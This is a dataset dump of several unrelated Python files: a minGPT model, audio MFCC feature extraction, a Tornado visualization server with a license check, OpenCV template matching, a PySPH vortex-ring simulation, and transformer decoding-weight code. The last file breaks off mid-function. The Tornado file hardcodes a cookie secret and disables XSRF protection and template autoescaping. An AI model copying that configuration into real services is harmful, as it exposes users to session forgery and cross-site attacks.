bias=False)\n\n self.block_size = config.block_size\n self.apply(self._init_weights)\n\n logger.info(\"number of parameters: %e\", sum(p.numel() for p in self.parameters()))\n\n def get_block_size(self):\n return self.block_size\n\n def _init_weights(self, module):\n if isinstance(module, (nn.Linear, nn.Embedding)):\n module.weight.data.normal_(mean=0.0, std=0.02)\n if isinstance(module, nn.Linear) and module.bias is not None:\n module.bias.data.zero_()\n elif isinstance(module, nn.LayerNorm):\n module.bias.data.zero_()\n module.weight.data.fill_(1.0)\n\n def configure_optimizers(self, train_config):\n \"\"\"\n This long function is unfortunately doing something very simple and is being very defensive:\n We are separating out all parameters of the model into two buckets: those that will experience\n weight decay for regularization and those that won't (biases, and layernorm/embedding weights).\n We are then returning the PyTorch optimizer object.\n \"\"\"\n\n # separate out all parameters to those that will and won't experience regularizing weight decay\n decay = set()\n no_decay = set()\n whitelist_weight_modules = (torch.nn.Linear, )\n blacklist_weight_modules = (torch.nn.LayerNorm, torch.nn.Embedding)\n for mn, m in self.named_modules():\n for pn, p in m.named_parameters():\n fpn = '%s.%s' % (mn, pn) if mn else pn # full param name\n\n if pn.endswith('bias'):\n # all biases will not be decayed\n no_decay.add(fpn)\n elif pn.endswith('weight') and isinstance(m, whitelist_weight_modules):\n # weights of whitelist modules will be weight decayed\n decay.add(fpn)\n elif pn.endswith('weight') and isinstance(m, blacklist_weight_modules):\n # weights of blacklist modules will NOT be weight decayed\n no_decay.add(fpn)\n\n # special case the position embedding parameter in the root GPT module as not decayed\n no_decay.add('pos_emb')\n\n # validate that we considered every parameter\n param_dict = {pn: p for pn, p in self.named_parameters()}\n inter_params = decay & no_decay\n union_params = decay | no_decay\n assert len(inter_params) == 0, \"parameters %s made it into both decay/no_decay sets!\" % (str(inter_params), )\n assert len(param_dict.keys() - union_params) == 0, \"parameters %s were not separated into either decay/no_decay set!\" \\\n % (str(param_dict.keys() - union_params), )\n\n # create the pytorch optimizer object\n optim_groups = [\n {\"params\": [param_dict[pn] for pn in sorted(list(decay))], \"weight_decay\": train_config.weight_decay},\n {\"params\": [param_dict[pn] for pn in sorted(list(no_decay))], \"weight_decay\": 0.0},\n ]\n optimizer = torch.optim.AdamW(optim_groups, lr=train_config.learning_rate, betas=train_config.betas)\n return optimizer\n\n def forward(self, idx, targets=None):\n b, t = idx.size()\n assert t <= self.block_size, \"Cannot forward, model block size is exhausted.\"\n\n # forward the GPT model\n token_embeddings = self.tok_emb(idx) # each index maps to a (learnable) vector\n position_embeddings = self.pos_emb[:, :t, :] # each position maps to a (learnable) vector\n x = self.drop(token_embeddings + position_embeddings)\n x = self.blocks(x)\n x = self.ln_f(x)\n logits = self.head(x)\n\n # if we are given some desired targets also calculate the loss\n loss = None\n if targets is not None:\n loss = F.cross_entropy(logits.view(-1, logits.size(-1)), targets.view(-1))\n\n return logits, loss\n","sub_path":"mingpt/modelfft.py","file_name":"modelfft.py","file_ext":"py","file_size_in_byte":5676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"95266526","text":"from data_import import data_import\nfrom frame_func import frame_func\nfrom window_func import window_func\nfrom mel_func import mel_func\nfrom DCT_func import DCT_func\nfrom process_bar import ShowProcess\n\n#default \nimport pickle\nimport numpy as np\n#loadmat\nfrom scipy.io import loadmat,savemat\n\nt_feed=10 #feed time\nt_frame=20 #frame time\nsample_rate=16000\nfs=sample_rate/1000 #sample_rate of each ms\nL_value=np.int(fs*t_frame)\nNFFT=512\nnfilt=22\n\naudio_path = \"D:\\\\LAB\\\\workspace\\\\lab\\\\patRecDat\\\\forStudents\\\\timit\\\\test\"\n#audio_path = \"/Users/Mata/Documents/2017/学习/ws2017:18/PUL/forStudents/timit/test\"\n\ndataset=data_import(audio_path) #samples is a dictionary of 172 persons\n\nfeature_all_set={}\nprint(\"feature engineering start\")\nprocess_bar=ShowProcess(len(dataset.keys()))\nfor name in dataset.keys():\n\tprocess_bar.show_process()\n\t#print(\"make the feature of \"+ name)\n\tsingle_data=dataset.get(name,'no such file name') # samples of one person\n\tfeatures_set=[]\n\tfor samples in single_data:\n\n\t\tframes=frame_func(samples) #frames is a list with length of 320*frames\n\n\t\twindow_frames=window_func(frames) #using hanning window\n\n\t\tfreq_frames=mel_func(window_frames)# \n\n\t\tfeatures=DCT_func(freq_frames)# features: 15*frames\n\n\t\t#features=features.ravel() # need to be reshape when import again\n\n\t\tfeatures_set.append(features)\n\n\tfeature_all_set.setdefault(name)\n\n\tfeature_all_set[name]=features_set\n\nsave_path=\"D:\\\\LAB\\\\lab\\\\task_2_version_2\\\\features.txt\"\nf = open(save_path,'wb')\npickle.dump(feature_all_set,f)\nf.close()\n#savemat(save_path,feature_all_set) \nprocess_bar.close()\nprint(\"feature extraction compleleted\")\n\n\n\n\n\n","sub_path":"task_2_version_3/main_feature_eng.py","file_name":"main_feature_eng.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"534065214","text":"'''\n`Sparx-Lite` is the visualization data cleaner and crunching engine which is capable of generating the user\nrequested content from the data sources uploaded\n\n__author__ = 'Bastin Robin'\n__email__ = robin@cleverinsight.co\n'''\nfrom __future__ import print_function\nfrom version import version as __version__\nimport re\nimport os\nimport sys\nimport rsa\nimport os.path\nimport stat\nimport json\nimport uuid\nimport logging\nimport datetime\nimport pandas as pd\nimport numpy as np\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.options\nimport tornado.web\nimport tornado.websocket\nimport tornado.auth\nfrom tornado.options import define, options\nfrom tornado.escape import json_encode\nfrom tornado import template\nfrom handlers import *\n\ndefine(\n \"port\",\n default=int(\n os.environ.get(\n \"PORT\",\n 5000)),\n help=\"run on the given port\",\n type=int)\ndefine('nobrowser', default=True, help='Do not start webbrowser', type=bool)\n\nSOURCE = os.path.dirname(os.path.abspath(__file__))\n_PATH = os.path.join(SOURCE, 'lib')\n\n\nclass Application(tornado.web.Application):\n def __init__(self):\n\n handlers = [\n (r\"/\", MainHandler),\n (r\"/db\", DBHandler),\n (r\"/login\", AuthLoginHandler),\n (r\"/logout\", AuthLogoutHandler),\n (r\"/fetch\", FetchHandler),\n (r\"/ajax\", AjaxHandler),\n (r\"/api\", ApiHandler),\n (r\"/settings\", SettingHandler),\n (r\"/text\", TextHandler),\n (r\"/app\", CreateHandler),\n (r\"/apps/(.*)\", AppHandler),\n (r\"/docs/\", MainDocsHandler),\n (r\"/docs/(.*)\", DocsHandler),\n (r'/websocket', WebSocketHandler),\n (r\"/(.*)\", TemplateHandler)\n ]\n\n settings = dict(\n cookie_secret=\"43oETzKXQAGaYdkL5gEmGeJJFuYh7EQnp2XdTP1o/Vo=\",\n template_path=os.path.join(os.path.dirname(__file__), \"visuals\"),\n static_path=os.path.join(os.path.dirname(__file__), \"static\"),\n xsrf_cookies=False,\n autoreload=True,\n gzip=True,\n debug=True,\n login_url='/login',\n autoescape=None\n )\n\n tornado.web.Application.__init__(self, handlers, **settings)\n\n\ndef expiry_on(path):\n try:\n license_file = os.path.join(path, 'LICENSE')\n license_lines = open(license_file).readlines()\n except IOError:\n die('This machine does not have a license yet.')\n\n (license_uname, license_date, sign,) = (l.strip()\n for l in license_lines[:3])\n\n (from_date, to_date,) = (datetime.datetime.strptime(d, '%Y-%m-%d')\n for d in license_date.split(' '))\n now = datetime.datetime.now()\n\n return to_date.strftime(\"%d %b, %Y\")\n\n\ndef _vol(path):\n import base64\n import platform\n import socket\n\n uname = ' '.join(platform.uname())\n # uname = hex(uuid.getnode())+' '+platform.uname().version+' '+platform.uname().machine\n\n def run():\n path = os.path.join(os.path.dirname(__file__), \"visuals\")\n static = os.path.join(os.path.dirname(__file__), \"static\")\n\n\n\n class LicenseHandler(tornado.web.RequestHandler):\n def get(self):\n self.render('license.html', version='version')\n\n app = tornado.web.Application([('/', LicenseHandler)],\n static_path=static,\n template_path=path\n )\n\n port = 8888\n while port < 9000:\n try:\n app.listen(port, xheaders=True)\n break\n except socket.error:\n port += 1\n\n print(sys.stderr)\n\n url = 'http://127.0.0.1:%d' % port\n try:\n import webbrowser\n print('Visit ' + url + ' for a license ')\n webbrowser.open(url)\n except ImportError:\n pass\n\n tornado.ioloop.IOLoop.instance().start()\n\n def die(msg):\n sys.stderr.write(msg)\n sys.stderr.write(\n '\\n\\nYou should email license@cleverinsight.co and get a new license. Mention this code:\\n%s\\n\\n' %\n uname)\n sys.stderr.write(\n '... and save the LICENSE file you get at:\\n%s\\n\\n' %\n path)\n input('After noting these, press ENTER to close this window. ')\n # sys.exit(-1)\n run()\n\n try:\n license_file = os.path.join(path, 'LICENSE')\n license_lines = open(license_file).readlines()\n except IOError:\n die('This machine does not have a license yet.')\n\n (license_uname, license_date, sign,) = (l.strip()\n for l in license_lines[:3])\n\n if uname != license_uname:\n die(\"This machine has another machine's license:\\n\" + license_uname)\n\n (from_date, to_date,) = (datetime.datetime.strptime(d, '%Y-%m-%d')\n for d in license_date.split(' '))\n now = datetime.datetime.now()\n\n if from_date > now or now > to_date:\n die('This license has expired.')\n\n public_key = rsa.PublicKey(7536031843268116359080816550116996395850668765953362202458977259126858121692866095588080612658209610356308429486462330553891865314861527172133866282508997,65537)\n\n try:\n rsa.verify(\n (uname + license_date).encode(\"utf-8\"),\n base64.b64decode(sign),\n public_key)\n except rsa.pkcs1.VerificationError:\n\n die('The license appears invalid.')\n\n\n# Litmus Server Initialization\ndef main():\n tornado.options.parse_command_line()\n app = Application()\n app.listen(options.port)\n if not options.nobrowser:\n try:\n import webbrowser\n webbrowser.open('http://127.0.0.1:%d' % options.port)\n except ImportError:\n pass\n logging.info('Sparx - version ' +\n str(__version__) +\n '. started at: http://localhost:%d/ -> %s' %\n (options.port, SOURCE))\n logging.info('License Valid till : ' + str(expiry_on(_PATH)))\n tornado.ioloop.IOLoop.instance().start()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"misc/init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":6209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"401905071","text":"# simple way to detect the rectangle inside an image\n\nimport cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\n#import zbarlight\n\nimg = cv2.imread('test3.jpg',0)\nimg2 = img.copy()\ntemplate = cv2.imread('qr.jpg',0)\n\nheight, width = img2.shape[:2]\n#print('width is ',width, 'height is', height)\nh, w = template.shape[:2]\n#w,h = template.shape[::-1]\n\nmethods = ['cv2.TM_CCOEFF']\n#other methods like 'cv2.TM_CCORR','cv2.TM_CCORR_NORMED', 'cv2.TM_SQDIFF', 'cv2.TM_SQDIFF_NORMED'\n\nfor meth in methods:\n img = img2.copy()\n method = eval(meth)\n\n # Apply template Matching\n res = cv2.matchTemplate(img,template,method)\n min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)\n\n top_left = max_loc\n bottom_right = (top_left[0] + w, height - top_left[1] - h)\n top_left = (top_left[0], height - top_left[1])\n middle_point = (top_left[0]+w/2,top_left[1]+h/2)\n\n print('The size of the image is height= ', height,'width= ',width)\n print('Top left point is at ',top_left,'bottom right point is at', bottom_right,'and centroid is at', middle_point)\n\n a=cv2.rectangle(img,top_left, bottom_right, 255, 2)\n\n plt.subplot(121),plt.imshow(res,cmap = 'gray')\n plt.title('Matching Result'), plt.xticks([]), plt.yticks([])\n\n plt.subplot(122),plt.imshow(img,cmap = 'gray')\n plt.title('Detected Point'), plt.xticks([]), plt.yticks([])\n plt.suptitle(meth)\n\n plt.show()","sub_path":"Detection/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"18550635","text":"from pysph.base.utils import get_particle_array\nfrom pysph.solver.application import Application\nfrom pysph.sph.scheme import WCSPHScheme\nimport numpy as np\nfrom pysph.base.nnps import DomainManager\nfrom pysph.base.kernels import CubicSpline\nfrom pysph.sph.integrator_step import WCSPHStep\nfrom pysph.sph.integrator import PECIntegrator\nfrom pysph.solver.solver import Solver\nfrom pysph.tools.geometry import rotate\n\n# Geometry and SPH parameters\nR = 3.0 # Radius of ring\na = 1.0 # Radius of core\nnu = 1e-3\nprint(\"Nu: \", nu)\nRe = 7500\nGamma = Re * nu\nprint(\"Gamma = \", Gamma)\nn = 20\n\nsep = 6*R\n\nlength = R + 2.5\ndx = 2*length/n\nprint(\"dx: \", dx)\n\nrho = 1000.0\nhdx = 1.32\nh = hdx * dx\nm = rho * dx * dx * dx\n\nvel_scale = 1.0\n\nvmax = 0.15*vel_scale*Gamma\nc0 = 10 * vmax\n\ndt_cfl = 0.25 * h / (c0 + vmax)\ndt_viscous = 0.125 * h * h / nu\ndt_wcsph = 0.125 * h / c0\n\nprint(dt_cfl, dt_viscous, dt_wcsph)\n\ndt = 0.5 * min(dt_cfl, dt_viscous, dt_wcsph)\n\ndef min_distance(point, particles):\n diff = particles - point\n difft = diff.T\n dist = np.sqrt(difft[0]**2 + difft[1]**2 + difft[2]**2)\n idx = np.where(dist == dist.min())\n return idx\n\n\nclass VortexRing(Application):\n def create_particles(self):\n x, y, z = np.mgrid[-length:length:dx, -length:length:dx, -length:length+sep:dx]\n x = x.ravel()\n y = y.ravel()\n z = z.ravel()\n\n idx = (np.sqrt(x**2 + y**2) - R)**2 + z**2 < a**2\n # x = x[idx]\n # y = y[idx]\n # z = z[idx]\n\n theta = np.linspace(0, 2*np.pi, 2500)\n x_ring, y_ring = R*np.cos(theta), R*np.sin(theta)\n ring = np.vstack((x_ring, y_ring, np.zeros_like(x_ring))).T\n ring_2 = np.vstack((x_ring, y_ring, sep*np.ones_like(x_ring))).T\n\n velocity = np.zeros((len(x), 3))\n\n for i in range(len(x)):\n if (np.sqrt(x[i]**2 + y[i]**2) - R)**2 + z[i]**2 < a**2:\n particle = np.array([x[i], y[i], z[i]])\n ring_idx = min_distance(particle, ring)\n ref_point = ring[ring_idx][0]\n diff_vec = ref_point - particle\n dist = np.linalg.norm(diff_vec)\n perp_vec = np.cross(particle, diff_vec)\n xn = np.array([diff_vec[0], 0])\n yn = np.array([diff_vec[1], 0])\n zn = np.array([diff_vec[2], 0])\n if np.linalg.norm(perp_vec) != 0:\n xn, yn, zn = rotate(xn, yn, zn, perp_vec, 90) # 90 deg rotation about perp vec\n tangent = np.array([xn[0], yn[0], zn[0]])\n tangent = tangent/np.linalg.norm(tangent)\n else:\n tangent = np.array([0, 0, 1])\n velocity[i] = Gamma * (1 - np.e**(-(dist/a)**2)) * tangent / (2 * np.pi * dist)\n\n # elif (np.sqrt(x[i]**2 + y[i]**2) - R)**2 + (z[i]-sep)**2 < a**2:\n # particle = np.array([x[i], y[i], z[i]])\n # ring_idx = min_distance(particle, ring_2)\n # ref_point = ring_2[ring_idx][0]\n # diff_vec = ref_point - particle\n # dist = np.linalg.norm(diff_vec)\n # perp_vec = np.cross(particle, diff_vec)\n\n # xn = np.array([diff_vec[0], 0])\n # yn = np.array([diff_vec[1], 0])\n # zn = np.array([diff_vec[2], 0])\n\n # if np.linalg.norm(perp_vec) != 0:\n # xn, yn, zn = rotate(xn, yn, zn, perp_vec, 90) # 90 deg rotation about perp vec\n # tangent = np.array([xn[0], yn[0], zn[0]])\n # tangent = tangent/np.linalg.norm(tangent)\n # else:\n # tangent = np.array([0, 0, 1])\n\n # velocity[i] = -Gamma * (1 - np.e**(-(dist/a)**2)) * tangent / (2 * np.pi * dist)\n\n\n idx_flip = z<0\n velocity[idx_flip] = -velocity[idx_flip]\n u, v, w = velocity.T[0], velocity.T[1], velocity.T[2]\n u, v, w = np.array([u, v, w]) * vel_scale\n\n\n fluid = get_particle_array(x=x, y=y, z=z, m=m, rho=rho, h=h, u=u, v=v, w=w,\n name=\"fluid\")\n\n # fluid.tag[idx] = 1\n # single_idx = np.where(idx == True)[0][0]\n # fluid.tag[single_idx] = 2\n\n self.scheme.setup_properties([fluid])\n return [fluid]\n\n def create_scheme(self):\n s = WCSPHScheme(\n ['fluid'], [], dim=3, rho0=rho, c0=c0,\n h0=h, hdx=hdx, gamma=7.0, alpha=0.02, beta=0.0, nu=nu\n )\n return s\n\n def create_solver(self):\n kernel = CubicSpline(dim=3)\n integrator = PECIntegrator(fluid=WCSPHStep())\n\n # dt = 0.01*0.125*h/c0\n # dt = 0.125*h/c0\n print(\"Time step: \", dt)\n tf = 5\n solver = Solver(kernel=kernel, dim=3, integrator=integrator,\n tf=tf, dt=dt, adaptive_timestep=False,\n fixed_h=False)\n return solver\n\nif __name__==\"__main__\":\n app = VortexRing()\n app.run()","sub_path":"two_rings.py","file_name":"two_rings.py","file_ext":"py","file_size_in_byte":4971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"468140365","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.13-x86_64/egg/modelarts/field_name.py\n# Compiled at: 2019-06-28 04:23:17\nannotation = 'annotation'\nannotation_type = 'type'\nannotation_loc = 'annotation-loc'\nannotation_loc2 = 'annotation_loc'\nannotation_format = 'annotation-format'\nannotation_format2 = 'annotation_format'\nannotation_name = 'name'\nannotation_property = 'property'\nannotation_hard = 'hard'\nannotation_confidence = 'confidence'\nannotation_creation_time = 'creation-time'\nannotation_creation_time2 = 'creation_time'\nannotation_annotated_by = 'annotated-by'\nannotation_annotated_by2 = 'annotated_by'\nsource = 'source'\nsource_type = 'source-type'\nsource_property = 'property'\nsize = 'size'\nusage = 'usage'\nid = 'id'\ninference_loc = 'inference-loc'\ninference_loc2 = 'inference_loc'\nimage_classification = 'image_classification'\naudio_classification = 'audio_classification'\nsound_classification = 'sound_classification'\naudio_content = 'audio_content'\ntext_classification = 'text_classification'\ntext_entity = 'text_entity'\nobject_detection = 'object_detection'\nprefix_text = 'content://'\nsingle_lable = 'single'\nmulti_lable = 'multi'\ns3 = 's3:'\nprefix_s3 = 's3://'\nprefix_s3_upper = 'S3://'\ns3a = 's3a:'\nprefix_s3a = 's3a://'\nprefix_s3a_upper = 'S3a://'\nseparator = '/'\nnewline_character = '\\n'\ndefault_usage = 'all'\nusage_train = 'train'\nusage_eval = 'eval'\nusage_test = 'test'\nusage_inference = 'inference'\nlabel_separator = '\\\\u0001'\nproperty_start_index = '@modelarts:start_index'\nproperty_end_index = '@modelarts:end_index'\nproperty_content = '@modelarts:content'\nCARBON = 'carbon'\nCARBONDATA = 'carbondata'","sub_path":"pycfiles/huaweicloud_sdk_python_modelarts_dataset-0.1.4-py2.7/field_name.py","file_name":"field_name.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"543920984","text":"# Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\n\nimport sys\nimport os\nimport math\nimport torch\nimport torch.nn as nn\n\nfrom onmt.modules import Embeddings, AverageAttention\nfrom onmt.decoders.decoder import DecoderBase\nfrom onmt.decoders.transformer import TransformerDecoderLayer\nfrom onmt.utils.misc import tile, sequence_mask\n\n\nclass DecodingWeights(object):\n def __init__(self, layer_num, hidden_dim, vocab_size, onmtcheckpoint=None, max_step_for_pe=2048):\n self.hidden_dim = hidden_dim\n self.max_step_for_pe = max_step_for_pe\n self.w = []\n if onmtcheckpoint:\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.layer_norm_1.weight'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.layer_norm_1.bias'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.self_attn.linear_query.weight'].transpose(-1, -2) for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.self_attn.linear_keys.weight'].transpose(-1, -2) for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.self_attn.linear_values.weight'].transpose(-1, -2) for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.self_attn.linear_query.bias'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.self_attn.linear_keys.bias'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.self_attn.linear_values.bias'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.self_attn.final_linear.weight'].transpose(-1, -2) for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.self_attn.final_linear.bias'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.layer_norm_2.weight'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.layer_norm_2.bias'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.context_attn.linear_query.weight'].transpose(-1, -2) for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.context_attn.linear_keys.weight'].transpose(-1, -2) for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.context_attn.linear_values.weight'].transpose(-1, -2) for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.context_attn.linear_query.bias'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.context_attn.linear_keys.bias'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.context_attn.linear_values.bias'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.context_attn.final_linear.weight'].transpose(-1, -2) for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.context_attn.final_linear.bias'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.feed_forward.layer_norm.weight'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.feed_forward.layer_norm.bias'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.feed_forward.w_1.weight'].transpose(-1, -2) for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.feed_forward.w_1.bias'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.feed_forward.w_2.weight'].transpose(-1, -2) for i in range(layer_num)],\n 0).contiguous())\n self.w.append(torch.stack(\n [onmtcheckpoint['model']['decoder.transformer_layers.' + str(i) + '.feed_forward.w_2.bias'] for i in range(layer_num)],\n 0).contiguous())\n self.w.append(onmtcheckpoint['model']['decoder.layer_norm.weight'])\n self.w.append(onmtcheckpoint['model']['decoder.layer_norm.bias'])\n self.w.append(onmtcheckpoint['model']['decoder.embeddings.make_embedding.emb_luts.0.weight'])\n self.w.append(self._get_position_encoding()) # pe_encoding\n self.w.append(onmtcheckpoint['generator']['0.weight'].transpose(-1, -2).contiguous())\n self.w.append(onmtcheckpoint['generator']['0.bias'])\n else:\n self.w.append(torch.zeros(layer_num, hidden_dim)) # self_layernorm_gamma\n self.w.append(torch.zeros(layer_num, hidden_dim)) # self_layernorm_beta\n self.w.append(torch.zeros(layer_num, hidden_dim, hidden_dim)) # self_kernel_q\n self.w.append(torch.zeros(layer_num, hidden_dim, hidden_dim)) # self_kernel_k\n self.w.append(torch.zeros(layer_num, hidden_dim, hidden_dim)) # self_kernel_v\n self.w.append(torch.zeros(layer_num, hidden_dim)) # self_bias_q\n self.w.append(torch.zeros(layer_num, hidden_dim)) # self_bias_k\n self.w.append(torch.zeros(layer_num, hidden_dim)) # self_bias_v\n self.w.append(torch.zeros(layer_num, hidden_dim, hidden_dim)) # self_output_kernel\n self.w.append(torch.zeros(layer_num, hidden_dim)) # self_output_bias\n self.w.append(torch.zeros(layer_num, hidden_dim)) # cross_layernorm_gamma\n self.w.append(torch.zeros(layer_num, hidden_dim)) # cross_layernorm_beta\n self.w.append(torch.zeros(layer_num, hidden_dim, hidden_dim)) # cross_kernel_q\n self.w.append(torch.zeros(layer_num, hidden_dim, hidden_dim)) # cross_kernel_k\n self.w.append(torch.zeros(layer_num, hidden_dim, hidden_dim)) # cross_kernel_v\n self.w.append(torch.zeros(layer_num, hidden_dim)) # cross_bias_q\n self.w.append(torch.zeros(layer_num, hidden_dim)) # cross_bias_k\n self.w.append(torch.zeros(layer_num, hidden_dim)) # cross_bias_v\n self.w.append(torch.zeros(layer_num, hidden_dim, hidden_dim)) # cross_output_kernel\n self.w.append(torch.zeros(layer_num, hidden_dim)) # cross_output_bias\n self.w.append(torch.zeros(layer_num, hidden_dim)) # ffn_layernorm_gamma\n self.w.append(torch.zeros(layer_num, hidden_dim)) # ffn_layernorm_beta\n self.w.append(torch.zeros(layer_num, hidden_dim, 4 * hidden_dim)) # inter_kernel\n self.w.append(torch.zeros(layer_num, 4 * hidden_dim)) # inter_bias\n self.w.append(torch.zeros(layer_num, 4 * hidden_dim, hidden_dim)) # output_kernel\n self.w.append(torch.zeros(layer_num, hidden_dim)) # output_bias\n self.w.append(torch.zeros(hidden_dim)) # decoding_gamma\n self.w.append(torch.zeros(hidden_dim)) # decoding_beta\n self.w.append(torch.zeros(vocab_size, hidden_dim)) # embedding_table\n self.w.append(self._get_position_encoding()) # pe_encoding\n self.w.append(torch.zeros(hidden_dim, vocab_size)) # embedding_kernel\n self.w.append(torch.zeros(vocab_size)) # embedding_bias\n for i in range(len(self.w)):\n torch.nn.init.uniform_(self.w[i], -1, 1)\n\n def to_cuda(self):\n for i in range(len(self.w)):\n self.w[i] = self.w[i].cuda()\n\n def to_half(self):\n for i in range(len(self.w) - 1): # embedding_bias is float32\n self.w[i] = self.w[i].half()\n\n def _get_position_encoding(self):\n pe = torch.zeros(self.max_step_for_pe, self.hidden_dim)\n position = torch.arange(0, self.max_step_for_pe).unsqueeze(1)\n div_term = torch.exp((torch.arange(0, self.hidden_dim, 2, dtype=torch.float) *\n -(math.log(10000.0) / self.hidden_dim)))\n pe[:, 0::2] = torch.sin(position.float() * div_term)\n pe[:, 1::2] = torch.cos(position.float() * div_term)\n return pe\n\n\ndef gather_nd(params, indices):\n indices = indices.t().long()\n ndim = indices.size(0)\n idx = torch.zeros_like(indices[0]).long()\n m = 1\n\n for i in range(ndim)[::-1]:\n idx += indices[i] * m\n m *= params.size(i)\n\n params = params.reshape((-1, *tuple(torch.tensor(params.size()[ndim:]))))\n return params[idx]\n\n\ndef gather_tree(step_ids, parent_ids, max_sequence_lengths, end_token):\n beams = torch.empty_like(step_ids)\n beams.fill_(end_token)\n max_len = step_ids.size(0)\n batch_size = step_ids.size(1)\n beam_size = step_ids.size(-1)\n batch_beam = batch_size * beam_size\n for i in range(batch_beam):\n batch = i // beam_size\n beam = i % beam_size\n max_seq_len_b = min(max_len, max_sequence_lengths[batch])\n if max_seq_len_b <= 0:\n continue\n beams[max_seq_len_b - 1, batch, beam] = step_ids[max_seq_len_b - 1, batch, beam]\n parent = parent_ids[max_seq_len_b - 1, batch, beam]\n for level in range(max_seq_len_b - 2, -1, -1):\n if parent < 0 or parent > beam_size:\n raise ValueError(\"wrong parent id\")\n beams[level, batch, beam] = step_ids[level, batch, parent]\n parent = parent_ids[level, batch, parent]\n finished = False\n for time in range(max_seq_len_b):\n if finished:\n beams[time, batch, beam] = end_token\n elif beams[time, batch, beam] == end_token:\n finished = True\n return beams\n\n\ndef finalize(beam_size, output_ids, parent_ids, out_seq_lens, end_id, max_seq_len=None, args=None):\n out_seq_lens = torch.reshape(out_seq_lens, (-1, beam_size))\n max_lens = torch.max(out_seq_lens, 1)[0]\n if max_seq_len:\n shape = (max_seq_len, -1, beam_size)\n else:\n shape = (torch.max(max_lens), -1, beam_size)\n output_ids = torch.reshape(output_ids, shape)\n parent_ids = 